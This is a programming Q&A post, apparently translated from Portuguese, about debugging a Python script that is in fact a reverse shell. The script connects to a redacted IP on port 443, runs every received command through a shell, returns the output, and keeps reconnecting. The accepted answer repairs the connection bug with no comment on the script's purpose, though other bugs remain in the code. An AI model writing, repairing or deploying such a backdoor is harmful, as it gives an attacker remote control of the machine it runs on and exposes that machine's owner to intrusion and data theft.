Problem with socket - recv - python

Asked

Viewed 44 times

0

Hi! Here’s the thing, I got a customer problem. When I use netcat as a server, the client sends the message "connection received successfully" and then returns the following error:

Exception occurred: Attributeerror module 'socket' has no attribute 'recv'

Code below:

# -*- coding: utf-8 -*-
import socket
import time
import subprocess

IP = 'xxx.xxx.xxx.x'
PORTA = 443

def realizando_conexao(ip, porta):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((IP, PORTA))
        crcs = '[!] Conexão recebida com sucesso! [!] \n'
        s.send(crcs.encode())
        return socket    
    except Exception as e:
        print('Erro na conexão: {}'.format(e))
        return None

def cmd(s, data):
    proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    saida = proc.stdout.read() + proc.stderr.read()
    s.send(saida.encode())

def mantendo_conexao(s):
    while True:
        data = s.recv(1024)
        if data[:-1] == '/exit':
            s.close()
            exit(0)
        else:
            cmd(s, data)
def main():

    while True:
        s_conectado = realizando_conexao(IP, PORTA)
        if s_conectado:
            mantendo_conexao(s_conectado)
        else:
            time.sleep(10)

main()
  • 1

    Its function realizando_conexao returns socket. She should not return s, which is the connection?

  • Puts, it was just that! hahahah thanks!

1 answer

0


The problem is that its function realizando_conexao() returns the module socket instead of socket previously created: the variable s.

Just change the return socket for return s.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.